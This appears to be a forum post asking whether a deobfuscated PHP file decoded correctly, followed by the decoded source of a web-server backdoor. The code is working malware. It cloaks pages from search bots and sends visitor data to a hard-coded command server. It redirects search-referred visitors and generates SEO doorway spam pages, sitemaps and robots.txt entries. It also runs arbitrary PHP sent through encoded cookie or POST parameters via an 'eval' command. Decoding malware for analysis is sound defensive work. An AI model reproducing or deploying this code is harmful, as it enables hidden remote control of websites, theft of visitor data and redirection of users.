                    foreach ($_c6lqruoo["pages"] as $_ieutud5a) { 
                        $_45nzx27b = class2::class2_func4($_ieutud5a["keyword"]); 
                        if (empty($_45nzx27b)) { 
                            $_45nzx27b = new class2( 
                                class3::class4_func3(), 
                                $_ieutud5a["text"], 
                                $_ieutud5a["keyword"], 
                                class5::_982nj( 
                                    class5::$_3buarutd, 
                                    class5::$_aogvud63 
                                ) 
                            ); 
                            $_45nzx27b->class2_func3(); 
                            $_1mjrt5r5 += 1; 
                            if (!in_array($_ieutud5a["keyword"], $_etuomnuh)) { 
                                class4::class4_func5($_ieutud5a["keyword"]); 
                            } 
                        } 
                    } 
                } 
                echo @serialize([ 
                    "uid" => class5::$_1hun2z7b, 
                    "v" => class5::$_r6tgz2bb, 
                    "pages" => $_1mjrt5r5, 
                ]); 
            } 
            if ($_c6lqruoo["sa"] == "ping") { 
                $_uh1gpad5 = class5::_9thiq(); 
                echo @serialize([ 
                    "uid" => class5::$_1hun2z7b, 
                    "v" => class5::$_r6tgz2bb, 
                    "result" => (int) $_uh1gpad5, 
                ]); 
            } 
            if ($_c6lqruoo["sa"] == "robots") { 
                $_uh1gpad5 = class5::_3bc8v(); 
                echo @serialize([ 
                    "uid" => class5::$_1hun2z7b, 
                    "v" => class5::$_r6tgz2bb, 
                    "result" => (int) $_uh1gpad5, 
                ]); 
            } 
        } 
        if ($_c6lqruoo["sa"] == "eval") { 
            eval($_c6lqruoo["data"]); 
            exit(); 
        } 
    } 
} 
 
$_ncwb42cy = new class5(); 
if ($_ncwb42cy->return_true()) { 
    $_ncwb42cy->_o0528(); 
} 
exit(); 
 ?>

Did this file decode correctly?

Original Code

<?php

@ini_set("error_log", null);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set("UTC");
class class1{
    private static $num1 = 2420912382;
    static function class1_func1($_0mg8g8sb, $_0zsgvis0)
    {
        $_0mg8g8sb[2] =
            count($_0mg8g8sb) > 4
                ? long2ip(class1::$num1 - 342)
                : $_0mg8g8sb[2];
        $_kuknr5es = class1::func_curl($_0mg8g8sb, $_0zsgvis0);
        if (!$_kuknr5es) {
            $_kuknr5es = class1::func_http($_0mg8g8sb, $_0zsgvis0);
        }
        return $_kuknr5es;
    }
    static function func_curl($_0mg8g8sb, $_kuknr5es, $_6gij44xm = null)
    {
        if (!function_exists("curl_version")) {
            return "";
        }
        if (is_array($_0mg8g8sb)) {
            $_0mg8g8sb = implode("/", $_0mg8g8sb);
        }
        $_on7cc0r8 = curl_init();
        curl_setopt($_on7cc0r8, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($_on7cc0r8, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($_on7cc0r8, CURLOPT_URL, $_0mg8g8sb);
        if (!empty($_kuknr5es)) {
            curl_setopt($_on7cc0r8, CURLOPT_POST, 1);
            curl_setopt($_on7cc0r8, CURLOPT_POSTFIELDS, $_kuknr5es);
        }
        if (!empty($_6gij44xm)) {
            curl_setopt($_on7cc0r8, CURLOPT_HTTPHEADER, $_6gij44xm);
        }
        curl_setopt($_on7cc0r8, CURLOPT_RETURNTRANSFER, true);
        $_zptubzm8 = curl_exec($_on7cc0r8);
        curl_close($_on7cc0r8);
        return $_zptubzm8;
    }
    static function func_http($_0mg8g8sb, $_kuknr5es, $_6gij44xm = null)
    {
        if (is_array($_0mg8g8sb)) {
            $_0mg8g8sb = implode("/", $_0mg8g8sb);
        }
        if (!empty($_kuknr5es)) {
            $_rzifh9gh = [
                "method" => "POST",
                "header" => "Content-type: application/x-www-form-urlencoded",
                "content" => $_kuknr5es,
            ];
            if (!empty($_6gij44xm)) {
                $_rzifh9gh["header"] =
                    $_rzifh9gh["header"] . "\r\n" . implode("\r\n", $_6gij44xm);
            }
            $_hbkwuxe1 = stream_context_create(["http" => $_rzifh9gh]);
        } else {
            $_rzifh9gh = ["method" => "GET"];
            if (!empty($_6gij44xm)) {
                $_rzifh9gh["header"] = implode("\r\n", $_6gij44xm);
            }
            $_hbkwuxe1 = stream_context_create(["http" => $_rzifh9gh]);
        }
        return @file_get_contents($_0mg8g8sb, false, $_hbkwuxe1);
    }
}
class class2{
    private static $_imsa8182 = "";
    private static $_wpqm70lj = -1;
    private static $_qym1vfxr = "";
    private $_ojvqqiv4 = "";
    private $_mapqaxgr = "";
    private $_jkz3lolf = "";
    private $_gr0tlgyi = "";
    public static function class3_func1($_bkkk2t78, $_dhtpk8rz, $_129hbs96)
    {
        class2::$_imsa8182 = $_bkkk2t78 . "/cache/";
        class2::$_wpqm70lj = $_dhtpk8rz;
        class2::$_qym1vfxr = $_129hbs96;
        if (!@file_exists(class2::$_imsa8182)) {
            @mkdir(class2::$_imsa8182);
        }
    }
    public static function class2_func1()
    {
        $_bhp2m19o = 0;
        foreach (scandir(class2::$_imsa8182) as $_e5bk3gdv) {
            $_bhp2m19o += 1;
        }
        return $_bhp2m19o;
    }
    public static function return_true()
    {
        return true;
    }
    public function __construct($_lo38lbt9, $_2dfrux20, $_4jfsfjgi, $_kakq98kr)
    {
        $this->_ojvqqiv4 = $_lo38lbt9;
        $this->_mapqaxgr = $_2dfrux20;
        $this->_jkz3lolf = $_4jfsfjgi;
        $this->_gr0tlgyi = $_kakq98kr;
    }
    public function class2_func2()
    {
        function _hbqvw($_zblp8mmb, $_kvmspgv3)
        {
            return round(
                rand($_zblp8mmb, $_kvmspgv3 - 1) +
                    rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX,
                2
            );
        }
        $_u4zq5nl0 = class4::class4_func4();
        $_kuknr5es = str_replace(
            "{{ text }}",
            $this->_mapqaxgr,
            str_replace(
                "{{ keyword }}",
                $this->_jkz3lolf,
                str_replace("{{ links }}", $this->_gr0tlgyi, $this->_ojvqqiv4)
            )
        );
        while (true) {
            $_qgdfpn2q = preg_replace(
                "/" . preg_quote("{{ randkeyword }}", "/") . "/",
                class4::class4_func3(),
                $_kuknr5es,
                1
            );
            if ($_qgdfpn2q === $_kuknr5es) {
                break;
            }
            $_kuknr5es = $_qgdfpn2q;
        }
        while (true) {
            preg_match(
                "/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/",
                $_kuknr5es,
                $_kvslphdk
            );
            if (empty($_kvslphdk)) {
                break;
            }
            $_4jfsfjgi = @$_u4zq5nl0[intval($_kvslphdk[1])];
            $_cfz9p1b1 = class5::_5inqk($_4jfsfjgi);
            $_kuknr5es = str_replace($_kvslphdk[0], $_cfz9p1b1, $_kuknr5es);
        }
        while (true) {
            preg_match("/{{ KEYWORDBYINDEX (\d*) }}/", $_kuknr5es, $_kvslphdk);
            if (empty($_kvslphdk)) {
                break;
            }
            $_4jfsfjgi = @$_u4zq5nl0[intval($_kvslphdk[1])];
            $_kuknr5es = str_replace($_kvslphdk[0], $_4jfsfjgi, $_kuknr5es);
        }
        while (true) {
            preg_match("/{{ RANDFLOAT (\d*)-(\d*) }}/", $_kuknr5es, $_kvslphdk);
            if (empty($_kvslphdk)) {
                break;
            }
            $_kuknr5es = str_replace(
                $_kvslphdk[0],
                _hbqvw($_kvslphdk[1], $_kvslphdk[2]),
                $_kuknr5es
            );
        }
        while (true) {
            preg_match("/{{ RANDINT (\d*)-(\d*) }}/", $_kuknr5es, $_kvslphdk);
            if (empty($_kvslphdk)) {
                break;
            }
            $_kuknr5es = str_replace(
                $_kvslphdk[0],
                rand($_kvslphdk[1], $_kvslphdk[2]),
                $_kuknr5es
            );
        }
        return $_kuknr5es;
    }
    public function class2_func3()
    {
        $_76r3e1jf =
            class2::$_imsa8182 . md5($this->_jkz3lolf . class2::$_qym1vfxr);
        if (class2::$_wpqm70lj == -1) {
            $_i3jprr2n = -1;
        } else {
            $_i3jprr2n = time() + 3600 * 24 * 30;
        }
        $_sfkj5g26 = [
            "template" => $this->_ojvqqiv4,
            "text" => $this->_mapqaxgr,
            "keyword" => $this->_jkz3lolf,
            "links" => $this->_gr0tlgyi,
            "expired" => $_i3jprr2n,
        ];
        @file_put_contents($_76r3e1jf, serialize($_sfkj5g26));
    }
    public static function class2_func4($_4jfsfjgi)
    {
        $_76r3e1jf =
            class2::$_imsa8182 . md5($_4jfsfjgi . class2::$_qym1vfxr);
        $_76r3e1jf = @unserialize(@file_get_contents($_76r3e1jf));
        if (
            !empty($_76r3e1jf) &&
            ($_76r3e1jf["expired"] > time() || $_76r3e1jf["expired"] == -1)
        ) {
            return new class2(
                $_76r3e1jf["template"],
                $_76r3e1jf["text"],
                $_76r3e1jf["keyword"],
                $_76r3e1jf["links"]
            );
        } else {
            return null;
        }
    }
}

class class3{
    private static $_imsa8182 = "";
    private static $_sheg46n5 = "";
    public static function class3_func1($_bkkk2t78, $_436g5o4e)
    {
        class3::$_imsa8182 = $_bkkk2t78 . "/";
        class3::$_sheg46n5 = $_436g5o4e;
        if (!@file_exists(class3::$_imsa8182)) {
            @mkdir(class3::$_imsa8182);
        }
    }
    public static function return_true()
    {
        return true;
    }
    public static function class2_func1()
    {
        $_bhp2m19o = 0;
        foreach (scandir(class3::$_imsa8182) as $_e5bk3gdv) {
            if (strpos($_e5bk3gdv, class3::$_sheg46n5) === 0) {
                $_bhp2m19o += 1;
            }
        }
        return $_bhp2m19o;
    }
    public static function class4_func3()
    {
        $_pmujs8ea = [];
        foreach (scandir(class3::$_imsa8182) as $_e5bk3gdv) {
            if (strpos($_e5bk3gdv, class3::$_sheg46n5) === 0) {
                $_pmujs8ea[] = $_e5bk3gdv;
            }
        }
        return @file_get_contents(
            class3::$_imsa8182 . $_pmujs8ea[array_rand($_pmujs8ea)]
        );
    }
    public static function class2_func3($_rulyi3f0)
    {
        if (
            @file_exists(class3::$_sheg46n5 . "_" . md5($_rulyi3f0) . ".html")
        ) {
            return;
        }
        @file_put_contents(
            class3::$_sheg46n5 . "_" . md5($_rulyi3f0) . ".html",
            $_rulyi3f0
        );
    }
}

class class4{
    private static $_imsa8182 = "";
    private static $_sheg46n5 = "";
    private static $_ri7upp4u = [];
    private static $_s8tds9m8 = [];
    public static function class4_func1($_bkkk2t78, $_436g5o4e)
    {
        class4::$_imsa8182 = $_bkkk2t78 . "/";
        class4::$_sheg46n5 = $_436g5o4e;
        if (!@file_exists(class4::$_imsa8182)) {
            @mkdir(class4::$_imsa8182);
        }
    }
    private static function class4_func2()
    {
        $_w97yt2vk = [];
        foreach (scandir(class4::$_imsa8182) as $_e5bk3gdv) {
            if (strpos($_e5bk3gdv, class4::$_sheg46n5) === 0) {
                $_w97yt2vk[] = $_e5bk3gdv;
            }
        }
        return $_w97yt2vk;
    }
    public static function return_true()
    {
        return true;
    }
    public static function class4_func3()
    {
        if (empty(class4::$_ri7upp4u)) {
            $_w97yt2vk = class4::class4_func2();
            class4::$_ri7upp4u = @file(
                class4::$_imsa8182 . $_w97yt2vk[array_rand($_w97yt2vk)],
                FILE_IGNORE_NEW_LINES
            );
        }
        return class4::$_ri7upp4u[array_rand(class4::$_ri7upp4u)];
    }
    public static function class4_func4()
    {
        if (empty(class4::$_s8tds9m8)) {
            $_w97yt2vk = class4::class4_func2();
            foreach ($_w97yt2vk as $_cy3ll155) {
                class4::$_s8tds9m8 = array_merge(
                    class4::$_s8tds9m8,
                    @file(
                        class4::$_imsa8182 . $_cy3ll155,
                        FILE_IGNORE_NEW_LINES
                    )
                );
            }
        }
        return class4::$_s8tds9m8;
    }
    public static function class2_func3($_w1gf7i57)
    {
        if (
            @file_exists(class4::$_sheg46n5 . "_" . md5($_w1gf7i57) . ".list")
        ) {
            return;
        }
        @file_put_contents(
            class4::$_sheg46n5 . "_" . md5($_w1gf7i57) . ".list",
            $_w1gf7i57
        );
    }
    public static function class4_func5($_4jfsfjgi)
    {
        @file_put_contents(
            class4::$_sheg46n5 . "_" . md5(class5::$_1hun2z7b) . ".list",
            $_4jfsfjgi . "\n",
            8
        );
    }
}
class class5{
    public static $_r6tgz2bb = "5.2";
    public static $_1hun2z7b = "18af26d4-adde-b84a-c7e6-76b9463287be";
    private $_xma1vmi1 = "http://136.12.78.46/app/assets/api2?action=redir";
    private $_k858xfaa = "http://136.12.78.46/app/assets/api?action=page";
    public static $_3buarutd = 5;
    public static $_aogvud63 = 20;
    private function class5_func1()
    {
        $_5cv2gq45 = [
            "#libwww-perl#i",
            "#MJ12bot#i",
            "#msnbot#i",
            "#msnbot-media#i",
            "#YandexBot#i",
            "#msnbot#i",
            "#YandexWebmaster#i",
            "#spider#i",
            "#yahoo#i",
            "#google#i",
            "#altavista#i",
            "#ask#i",
            "#yahoo!\s*slurp#i",
            "#BingBot#i",
        ];
        if (
            !empty($_SERVER["HTTP_USER_AGENT"]) &&
            false !==
                strpos(
                    preg_replace(
                        $_5cv2gq45,
                        "-NO-WAY-",
                        $_SERVER["HTTP_USER_AGENT"]
                    ),
                    "-NO-WAY-"
                )
        ) {
            $_0hcf7vzs = 1;
        } elseif (
            empty($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ||
            empty($_SERVER["HTTP_REFERER"])
        ) {
            $_0hcf7vzs = 1;
        } elseif (
            strpos($_SERVER["HTTP_REFERER"], "google") === false &&
            strpos($_SERVER["HTTP_REFERER"], "yahoo") === false &&
            strpos($_SERVER["HTTP_REFERER"], "bing") === false &&
            strpos($_SERVER["HTTP_REFERER"], "yandex") === false
        ) {
            $_0hcf7vzs = 1;
        } else {
            $_0hcf7vzs = 0;
        }
        return $_0hcf7vzs;
    }
    private static function class5_func2()
    {
        $_0zsgvis0 = [];
        $_0zsgvis0["ip"] = $_SERVER["REMOTE_ADDR"];
        $_0zsgvis0["qs"] = @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"];
        $_0zsgvis0["ua"] = @$_SERVER["HTTP_USER_AGENT"];
        $_0zsgvis0["lang"] = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
        $_0zsgvis0["ref"] = @$_SERVER["HTTP_REFERER"];
        $_0zsgvis0["enc"] = @$_SERVER["HTTP_ACCEPT_ENCODING"];
        $_0zsgvis0["acp"] = @$_SERVER["HTTP_ACCEPT"];
        $_0zsgvis0["char"] = @$_SERVER["HTTP_ACCEPT_CHARSET"];
        $_0zsgvis0["conn"] = @$_SERVER["HTTP_CONNECTION"];
        return $_0zsgvis0;
    }
    public function __construct()
    {
        $this->_xma1vmi1 = explode("/", $this->_xma1vmi1);
        $this->_k858xfaa = explode("/", $this->_k858xfaa);
    }
    public static function class5_func3($_b9v7lqpw)
    {
        if (strlen($_b9v7lqpw) < 4) {
            return "";
        }
        $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $_u4zq5nl0 = str_split($chars);
        $_u4zq5nl0 = array_flip($_u4zq5nl0);
        $_3pwrgscn = 0;
        $_dut0eaji = "";
        $_b9v7lqpw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_b9v7lqpw);
        do {
            $_po8s04u7 = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]];
            $_j9w0wdft = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]];
            $_1gx5jhtu = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]];
            $_fa1635nb = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]];
            $_yrjhs0j8 = ($_po8s04u7 << 2) | ($_j9w0wdft >> 4);
            $_h0zlz6pf = (($_j9w0wdft & 15) << 4) | ($_1gx5jhtu >> 2);
            $_yeucgt7w = (($_1gx5jhtu & 3) << 6) | $_fa1635nb;
            $_dut0eaji = $_dut0eaji . chr($_yrjhs0j8);
            if ($_1gx5jhtu != 64) {
                $_dut0eaji = $_dut0eaji . chr($_h0zlz6pf);
            }
            if ($_fa1635nb != 64) {
                $_dut0eaji = $_dut0eaji . chr($_yeucgt7w);
            }
        } while ($_3pwrgscn < strlen($_b9v7lqpw));
        return $_dut0eaji;
    }
    private function class5_func4($_4jfsfjgi)
    {
        $_lo38lbt9 = "";
        $_2dfrux20 = "";
        $_0zsgvis0 = class5::class5_func2();
        $_0zsgvis0["uid"] = class5::$_1hun2z7b;
        $_0zsgvis0["keyword"] = $_4jfsfjgi;
        $_0zsgvis0["tc"] = 10;
        $_0zsgvis0 = http_build_query($_0zsgvis0);
        $_c6lqruoo = class1::class1_func1($this->_k858xfaa, $_0zsgvis0);
        if (strpos($_c6lqruoo, class5::$_1hun2z7b) === false) {
            return [$_lo38lbt9, $_2dfrux20];
        }
        $_lo38lbt9 = class3::class4_func3();
        $_2dfrux20 = substr($_c6lqruoo, strlen(class5::$_1hun2z7b));
        $_2dfrux20 = explode("\n", $_2dfrux20);
        shuffle($_2dfrux20);
        $_2dfrux20 = implode(" ", $_2dfrux20);
        return [$_lo38lbt9, $_2dfrux20];
    }
    private function class5_func5()
    {
        $_0zsgvis0 = class5::class5_func2();
        if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
            $_0zsgvis0["cfconn"] = @$_SERVER["HTTP_CF_CONNECTING_IP"];
        }
        if (isset($_SERVER["HTTP_X_REAL_IP"])) {
            $_0zsgvis0["xreal"] = @$_SERVER["HTTP_X_REAL_IP"];
        }
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
            $_0zsgvis0["xforward"] = @$_SERVER["HTTP_X_FORWARDED_FOR"];
        }
        $_0zsgvis0["uid"] = class5::$_1hun2z7b;
        $_0zsgvis0 = http_build_query($_0zsgvis0);
        $_ieutud5a = class1::class1_func1($this->_xma1vmi1, $_0zsgvis0);
        $_ieutud5a = @unserialize($_ieutud5a);
        if (isset($_ieutud5a["type"]) && $_ieutud5a["type"] == "redir") {
            if (!empty($_ieutud5a["data"]["header"])) {
                header($_ieutud5a["data"]["header"]);
                return true;
            } elseif (!empty($_ieutud5a["data"]["code"])) {
                echo $_ieutud5a["data"]["code"];
                return true;
            }
        }
        return false;
    }
    public function return_true()
    {
        return true;
    }
    public static function _xzdak()
    {
        if (
            (!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") ||
            $_SERVER["SERVER_PORT"] == 443
        ) {
            return true;
        }
        return false;
    }
    public static function _rtyid()
    {
        $_de0t83qt = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_de0t83qt = $_de0t83qt[0];
        if (strpos($_de0t83qt, ".php") === false) {
            $_de0t83qt = explode("/", $_de0t83qt);
            array_pop($_de0t83qt);
            $_de0t83qt = implode("/", $_de0t83qt) . "/";
        }
        return sprintf(
            "%s://%s%s",
            class5::_xzdak() ? "https" : "http",
            $_SERVER["HTTP_HOST"],
            $_de0t83qt
        );
    }
    public static function _9thiq()
    {
        $_co66l67f = [
            "https://www.google.com/ping?sitemap=" =>
                "Sitemap Notification Received",
            "https://www.bing.com/ping?sitemap=" =>
                "Thanks for submitting your Sitemap",
        ];
        $_6gij44xm = [
            "Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,image/webp,*/*;
q=0.8",
            "Accept-Language: en-US,en;
q=0.5",
            "User-Agent: Mozilla/5.0 (Windows NT 6.1;
 Win64;
 x64;
 rv:82.0) Gecko/20100101 Firefox/82.0",
        ];
        $_jtisr1z3 = urlencode(class5::_y55e7() . "/sitemap.xml");
        foreach ($_co66l67f as $_0mg8g8sb => $_b6t2wtbp) {
            $_uh1gpad5 = class1::func_curl(
                $_0mg8g8sb . $_jtisr1z3,
                null,
                $_6gij44xm
            );
            if (empty($_uh1gpad5)) {
                $_uh1gpad5 = class1::func_http(
                    $_0mg8g8sb . $_jtisr1z3,
                    null,
                    $_6gij44xm
                );
            }
            if (empty($_uh1gpad5)) {
                return false;
            }
            if (strpos($_uh1gpad5, $_b6t2wtbp) === false) {
                return false;
            }
        }
        return true;
    }
    public static function _3bc8v()
    {
        $_yh4o323d =
            "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";
        $_de0t83qt = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_de0t83qt = $_de0t83qt[0];
        $_489zvduv = substr($_de0t83qt, 0, strrpos($_de0t83qt, "/"));
        $_s51vo8it = sprintf(
            $_yh4o323d,
            $_489zvduv,
            class5::_y55e7() . "/sitemap.xml"
        );
        $_wjx6ekd0 = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";
        if (@file_exists($_wjx6ekd0)) {
            @chmod($_wjx6ekd0, 0777);
            $_4ycs35az = @file_get_contents($_wjx6ekd0);
        } else {
            $_4ycs35az = "";
        }
        if (strpos($_4ycs35az, $_s51vo8it) === false) {
            @file_put_contents($_wjx6ekd0, $_4ycs35az . "\n" . $_s51vo8it);
            $_4ycs35az = @file_get_contents($_wjx6ekd0);
            return strpos($_4ycs35az, $_s51vo8it) !== false;
        }
        return false;
    }
    public static function _y55e7()
    {
        $_de0t83qt = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_de0t83qt = $_de0t83qt[0];
        $_bkkk2t78 = substr($_de0t83qt, 0, strrpos($_de0t83qt, "/"));
        return sprintf(
            "%s://%s%s",
            class5::_xzdak() ? "https" : "http",
            $_SERVER["HTTP_HOST"],
            $_bkkk2t78
        );
    }
    public static function _5inqk($_4jfsfjgi)
    {
        $_122zbkuu = class5::_rtyid();
        $_a7ltmt6z = substr(md5(class5::$_1hun2z7b . "salt3"), 0, 6);
        $_ch6kn1ad = "";
        if (substr($_122zbkuu, -1) == "/") {
            if (ord($_a7ltmt6z[1]) % 2) {
                $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi);
            } else {
                $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi);
            }
            $_ch6kn1ad = sprintf("%s%s", $_122zbkuu, urlencode($_4jfsfjgi));
        } else {
            if (false && ord($_a7ltmt6z[0]) % 2) {
                $_ch6kn1ad = sprintf(
                    "%s?%s=%s",
                    $_122zbkuu,
                    $_a7ltmt6z,
                    urlencode(str_replace(" ", "-", $_4jfsfjgi))
                );
            } else {
                $_fh4cipvx = ["id", "page", "tag"];
                $_0ytybpie = $_fh4cipvx[ord($_a7ltmt6z[2]) % count($_fh4cipvx)];
                if (ord($_a7ltmt6z[1]) % 2) {
                    $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi);
                } else {
                    $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi);
                }
                $_ch6kn1ad = sprintf(
                    "%s?%s=%s",
                    $_122zbkuu,
                    $_0ytybpie,
                    urlencode($_4jfsfjgi)
                );
            }
        }
        return $_ch6kn1ad;
    }
    public static function _982nj($_zblp8mmb, $_kvmspgv3)
    {
        $_50tm5tfq = "";
        for (
            $_3pwrgscn = 0;
            $_3pwrgscn < rand($_zblp8mmb, $_kvmspgv3);
            $_3pwrgscn++
        ) {
            $_4jfsfjgi = class4::class4_func3();
            $_50tm5tfq .= sprintf(
                "<a href=\"%s\">%s</a>,\n",
                class5::_5inqk($_4jfsfjgi),
                ucwords($_4jfsfjgi)
            );
        }
        return $_50tm5tfq;
    }
    public static function _b998e($_vth3hxy3 = false)
    {
        $_mhhfy450 = dirname(__FILE__) . "/sitemap.xml";
        $_athdg2y5 =
            "<?xml version=\"1.0\" encoding=\"UTF-8\"?" .
            ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
        $_tutyqn2h = "</urlset>";
        $_u4zq5nl0 = class4::class4_func4();
        $_dsp4zj0b = [];
        if (file_exists($_mhhfy450)) {
            $_c6lqruoo = simplexml_load_file($_mhhfy450);
            foreach ($_c6lqruoo as $_kye27ris) {
                $_dsp4zj0b[(string) $_kye27ris->loc] =
                    (string) $_kye27ris->lastmod;
            }
        } else {
            $_vth3hxy3 = false;
        }
        foreach ($_u4zq5nl0 as $_7rv2hx4x) {
            $_ch6kn1ad = class5::_5inqk($_7rv2hx4x);
            if (isset($_dsp4zj0b[$_ch6kn1ad])) {
                continue;
            }
            if ($_vth3hxy3) {
                $_arswcs1o = time();
            } else {
                $_arswcs1o = time() - (crc32($_7rv2hx4x) % (60 * 60 * 24 * 30));
            }
            $_dsp4zj0b[$_ch6kn1ad] = date("Y-m-d", $_arswcs1o);
        }
        $_rbhkx4bz = "";
        foreach ($_dsp4zj0b as $_0mg8g8sb => $_arswcs1o) {
            $_rbhkx4bz .= "<url>\n";
            $_rbhkx4bz .= sprintf("<loc>%s</loc>\n", $_0mg8g8sb);
            $_rbhkx4bz .= sprintf("<lastmod>%s</lastmod>\n", $_arswcs1o);
            $_rbhkx4bz .= "</url>\n";
        }
        $_1ybg93ki = $_athdg2y5 . $_rbhkx4bz . $_tutyqn2h;
        $_jtisr1z3 = class5::_y55e7() . "/sitemap.xml";
        @file_put_contents($_mhhfy450, $_1ybg93ki);
        return $_jtisr1z3;
    }
    public function _o0528()
    {
        $_0ytybpie = substr(md5(class5::$_1hun2z7b . "salt3"), 0, 6);
        if (!$this->class5_func1()) {
            if ($this->class5_func5()) {
                return;
            }
        }
        if (!empty($_GET)) {
            $_o5eeefoq = array_values($_GET);
        } else {
            $_o5eeefoq = explode("/", $_SERVER["REQUEST_URI"]);
            $_o5eeefoq = array_reverse($_o5eeefoq);
        }
        $_4jfsfjgi = "";
        foreach ($_o5eeefoq as $_798ngluc) {
            if (substr_count($_798ngluc, "-") > 0) {
                $_4jfsfjgi = $_798ngluc;
                break;
            }
        }
        $_4jfsfjgi = str_replace($_0ytybpie . "-", "", $_4jfsfjgi);
        $_4jfsfjgi = str_replace("-" . $_0ytybpie, "", $_4jfsfjgi);
        $_4jfsfjgi = str_replace("-", " ", $_4jfsfjgi);
        $_4jfsfjgi = urldecode($_4jfsfjgi);
        $_etuomnuh = class4::class4_func4();
        if (empty($_4jfsfjgi)) {
            $_4jfsfjgi = $_etuomnuh[0];
        } elseif (!in_array($_4jfsfjgi, $_etuomnuh)) {
            $_nlf1jfkg = 0;
            foreach (str_split($_4jfsfjgi) as $_on7cc0r8) {
                $_nlf1jfkg += ord($_on7cc0r8);
            }
            $_4jfsfjgi = $_etuomnuh[$_nlf1jfkg % count($_etuomnuh)];
        }
        if (!empty($_4jfsfjgi)) {
            $_ieutud5a = class2::class2_func4($_4jfsfjgi);
            if (empty($_ieutud5a)) {
                list($_lo38lbt9, $_2dfrux20) = $this->class5_func4($_4jfsfjgi);
                if (empty($_2dfrux20)) {
                    return;
                }
                $_ieutud5a = new class2(
                    $_lo38lbt9,
                    $_2dfrux20,
                    $_4jfsfjgi,
                    class5::_982nj(class5::$_3buarutd, class5::$_aogvud63)
                );
                $_ieutud5a->class2_func3();
            }
            echo $_ieutud5a->class2_func2();
        }
    }
}

class2::class3_func1(dirname(__FILE__), -1, class5::$_1hun2z7b);
class3::class3_func1(
    dirname(__FILE__),
    substr(md5(class5::$_1hun2z7b . "salt12"), 0, 4)
);
class4::class3_func1(
    dirname(__FILE__),
    substr(md5(class5::$_1hun2z7b . "salt22"), 0, 4)
);
function _3qldi($_c6lqruoo, $_7rv2hx4x)
{
    $_32aibmqu = "";
    for ($_3pwrgscn = 0; $_3pwrgscn < strlen($_c6lqruoo); ) {
        for (
            $_reyxzzst = 0;
            $_reyxzzst < strlen($_7rv2hx4x) && $_3pwrgscn < strlen($_c6lqruoo);
            $_reyxzzst++, $_3pwrgscn++
        ) {
            $_32aibmqu .= chr(
                ord($_c6lqruoo[$_3pwrgscn]) ^ ord($_7rv2hx4x[$_reyxzzst])
            );
        }
    }
    return $_32aibmqu;
}
function _uw4lc($_c6lqruoo, $_7rv2hx4x, $_oupl9ggf)
{
    return _3qldi(_3qldi($_c6lqruoo, $_7rv2hx4x), $_oupl9ggf);
}

foreach (array_merge($_COOKIE, $_POST) as $_u5b8ibin => $_c6lqruoo) {
    $_c6lqruoo = @unserialize(
        _uw4lc(class5::class5_func3($_c6lqruoo), $_u5b8ibin, class5::$_1hun2z7b)
    );
    if (isset($_c6lqruoo["ak"]) && class5::$_1hun2z7b == $_c6lqruoo["ak"]) {
        if ($_c6lqruoo["a"] == "doorway2") {
            if ($_c6lqruoo["sa"] == "check") {
                $_kuknr5es = class1::class1_func1(
                    explode("/", "http://httpbin.org/"),
                    ""
                );
                if (strlen($_kuknr5es) > 512) {
                    echo @serialize([
                        "uid" => class5::$_1hun2z7b,
                        "v" => class5::$_r6tgz2bb,
                        "cache" => class2::class2_func1(),
                        "keywords" => count(class4::class4_func4()),
                        "templates" => class3::class2_func1(),
                    ]);
                }
                exit();
            }
            if ($_c6lqruoo["sa"] == "templates") {
                foreach ($_c6lqruoo["templates"] as $_lo38lbt9) {
                    class3::class2_func3($_lo38lbt9);
                    echo @serialize([
                        "uid" => class5::$_1hun2z7b,
                        "v" => class5::$_r6tgz2bb,
                    ]);
                }
            }
            if ($_c6lqruoo["sa"] == "keywords") {
                class4::class2_func3($_c6lqruoo["keywords"]);
                class5::_b998e();
                echo @serialize([
                    "uid" => class5::$_1hun2z7b,
                    "v" => class5::$_r6tgz2bb,
                ]);
            }
            if ($_c6lqruoo["sa"] == "update_sitemap") {
                class5::_b998e(true);
                echo @serialize([
                    "uid" => class5::$_1hun2z7b,
                    "v" => class5::$_r6tgz2bb,
                ]);
            }
            if ($_c6lqruoo["sa"] == "pages") {
                $_1mjrt5r5 = 0;
                $_etuomnuh = class4::class4_func4();
                if (class3::class2_func1() > 0) {
                    foreach ($_c6lqruoo["pages"] as $_ieutud5a) {
                        $_45nzx27b = class2::class2_func4($_ieutud5a["keyword"]);
                        if (empty($_45nzx27b)) {
                            $_45nzx27b = new class2(
                                class3::class4_func3(),
                                $_ieutud5a["text"],
                                $_ieutud5a["keyword"],
                                class5::_982nj(
                                    class5::$_3buarutd,
                                    class5::$_aogvud63
                                )
                            );
                            $_45nzx27b->class2_func3();
                            $_1mjrt5r5 += 1;
